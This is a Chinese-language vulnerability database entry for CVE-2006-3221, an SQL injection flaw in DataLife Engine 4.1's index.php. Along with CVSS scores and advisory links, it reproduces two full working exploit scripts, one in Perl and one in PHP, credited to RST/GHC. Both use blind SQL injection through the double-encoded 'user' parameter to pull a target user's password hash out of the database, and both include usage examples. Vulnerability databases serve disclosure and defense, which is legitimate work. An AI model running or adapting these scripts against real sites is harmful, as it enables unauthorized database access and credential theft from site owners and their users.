CVE-2006-3221
CVSS7.5
发布时间 :2006-06-24 06:06:00
修订时间 :2011-03-07 21:38:07
NMCOE    

[原文]SQL injection vulnerability in index.php in DataLife Engine 4.1 and earlier allows remote attackers to execute arbitrary SQL commands via double-encoded values in the user parameter in a userinfo subaction.


[CNNVD]DataLife Engine index.php SQL注入漏洞(CNNVD-200606-494)

        DataLife Engine 中的index.php存在SQL注入漏洞。远程攻击者可以借助userinfo子动作中user 参数中的双重编码值,执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3221
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3221
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200606-494
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/2486
(UNKNOWN)  VUPEN  ADV-2006-2486
http://www.securityfocus.com/bid/18592
(UNKNOWN)  BID  18592
http://secunia.com/advisories/20765
(VENDOR_ADVISORY)  SECUNIA  20765
http://milw0rm.com/exploits/1939
(UNKNOWN)  MILW0RM  1939
http://milw0rm.com/exploits/1938
(UNKNOWN)  MILW0RM  1938
http://xforce.iss.net/xforce/xfdb/27321
(UNKNOWN)  XF  datalife-engine-index-sql-injection(27321)

- 漏洞信息

DataLife Engine index.php SQL注入漏洞
高危 SQL注入
2006-06-24 00:00:00 2006-06-29 00:00:00
远程  
        DataLife Engine 中的index.php存在SQL注入漏洞。远程攻击者可以借助userinfo子动作中user 参数中的双重编码值,执行任意SQL命令。

- 公告与补丁

        暂无数据

- 漏洞信息 (1938)

DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl) (EDBID:1938)
php webapps
2006-06-21 Verified
0 RusH
N/A [点击下载]
#!/usr/bin/perl

## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:p:');

$url  = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~]      URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~]   PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print " [~]   USERID : $userid\r\n";

print " [~] SEARCHING PASSWORD ...  ";

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b  [ DONE ] 
 ---------------------------------------------------------------
  USERNAME : $name
    USERID : $userid
  PASSHASH : $allchar
 ---------------------------------------------------------------
 };
 }
 else
 {
 print "\b[ FAILED ]";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char);
 print "\b".chr($char)." ";
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 
 $xpl = LWP::UserAgent->new() or die;
 $res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
 if($res->as_string =~ /$name<\/td>/) { return 1; }
 else { return 0; }
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b/";  }
  if($status==1){ print "\b-";  }
  if($status==2){ print "\b\\"; }
  if($status==3){ print "\b|";  }
}

sub usage()
 {
 &head;
 print q(
  USAGE:
  r57datalife.pl [OPTIONS]
  
  OPTIONS:
  -u <URL>      - path to index.php
  -n <USERNAME> - username for bruteforce
  -p [prefix]   - database prefix
  
  E.G.
  r57datalife.pl -u http://server/index.php -n admin
 ---------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 ---------------------------------------------------------------
       DataLife Engine sql injection exploit by RST/GHC
 ---------------------------------------------------------------
 );
 }

# milw0rm.com [2006-06-21]
		

- 漏洞信息 (1939)

DataLife Engine <= 4.1 Remote SQL Injection Exploit (php) (EDBID:1939)
php webapps
2006-06-21 Verified
0 RusH
N/A [点击下载]
<?php
error_reporting (E_ERROR);
ini_set("max_execution_time",0);

echo '
+========================================+
| RST/GHC Datalife SQL injection exploit |
+========================================+
<    >  Lite Version for DLE <=4.1  <    >
';

if ($argc < 2 ){
print " Usage: " . $argv[0] . " <host> <user> [table prefix]\n";
print " ex.: " . $argv[0] . " datalife.engine.net admin\n";
credits();
exit;
}

//DEFINE USER ID
$urla = 'http://' . $argv[1] . '/index.php?subaction=userinfo&user=' . $argv[2];
$result = file_get_contents($urla);
$str1 = 'user='; #index.php?do=pm&doaction=newpm&user=
$position = strpos($result, $str1);

if ($position === false){ print "\n\rSorry, no match found for user " . $argv[2]; credits();}
$str2 = '">';
$pos = strpos($result, $str2, $position);
$pos1 = $position+5;
$user_id = intval(substr($result, $pos1, $pos-$pos1));

print "Trying to get hash for password of user ". $argv[2] ." with id=" . $user_id . ":\n";

//SOME defines (aka CONFIG =))
if (empty($argv[3])){ $prefix = 'dle_';} #define prefix of the tables. try to find it yourself =) it is easy =)
else {$prefix = $argv[3];}
$min = 48;  # 0
$max = 122; # z
if (check(">$min", 1) == 0 && check("<$max", 1) == 0) {print "\n Site is unvulnerable..."; credits();}
for ($sn=1; $sn <= 32; $sn++) {
   blind($sn, $min, $max);
}
credits();


// REQUEST function
function check($crcheck, $sn)
{
   global $argv, $user_id, $prefix;
$host   = 'http://' . $argv[1] . '/index.php'; # argv[1] - host
$name = $argv[2]; #user name
$query  = '?subaction=userinfo&user=' . $name .'%2527%20and%20ascii(substring((SELECT%20password%20FROM%20' . $prefix. 'users%20WHERE%20user_id='. $user_id .'),' . $sn . ',1))' .$crcheck . '/*'; #

$http = $host . $query;
#DEBUG
#print $http . "\n";
 $result = file_get_contents($http);
 
 // checking the answer
 $string = ': '.$name.'</h2>'; #CORRECT it FOR your version, kids =)
#good idea is: 'do=pm&doaction=newpm&user='.$user_id;
 
   if (eregi($string, $result)) { return 1; }

 return 0;
}

//range function
function blind($sn, $fmin, $fmax)
{
 if (($fmax-$fmin)<5) { if (crack($fmin, $fmax, $sn) == 0){print "\n\rEXPLOIT FAILED..."; credits();} return;}
 $compare = intval($fmin + ($fmax-$fmin)/2);
 $crcheck = ">". $compare;
 if ( check($crcheck, $sn) == 1 ) {
    blind($sn, $compare, $fmax);
    }
 else {
    blind($sn, $fmin, $compare+1); }
}

//brute function
function crack($cmin, $cmax, $sn)
{
 for ($i=$cmin; $i <=$cmax; $i++){
   $crcheck = "=$i";
   if (check($crcheck, $sn) == 1){print chr($i); return 1;}
 }
return 0;
}


function credits(){
print "\n\n+========================================+\n\r Credits: 1dt.w0lf & foster \n\r Copyright (c) RST/GHC";
print "\n\r http://rst.void.ru && http://ghc.ru\n\r+========================================+\n";
exit;
}

?>

# milw0rm.com [2006-06-21]
		

- 漏洞信息

26777
DataLife Engine index.php user Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

DataLife Engine contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the 'index.php' script not properly sanitizing user-supplied input to the 'user' parameter. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

- 时间线

2006-06-18 Unknow
2006-06-18 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站